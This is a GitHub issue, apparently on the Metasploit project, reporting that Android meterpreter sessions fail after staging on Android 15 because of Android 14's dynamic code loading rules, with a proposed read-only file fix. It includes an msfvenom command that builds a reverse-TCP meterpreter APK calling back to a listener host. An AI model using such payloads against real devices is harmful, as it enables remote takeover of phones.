Skip to content

Android Sessions Die After Sending Stage - Android 15 #778

Description

@voraci0us

Steps to reproduce

Using a Pixel 6 phone running Android 15 (SDK 35).
Created a payload .apk with

msfvenom -p android/meterpreter/reverse_tcp LHOST=10.129.114.9 LPORT=4444 -o evil.apk

This is due restrictions around dynamic code loading added in Android 14 (https://developer.android.com/about/versions/14/behavior-changes-14#safer-dynamic-code-loading). There is an easy backwards-compatible fix with File.setReadOnly() - will send a PR shortly.

Expected behavior

Stage sends / is run successfully and full Meterpreter session is opened.

Current behavior

Phone logs showing code loading error:
Image
Sessions are opening but fail when stage times out:
Image

Metasploit version

Framework: 6.4.55-dev-
Console : 6.4.55-dev-

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Fields

    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions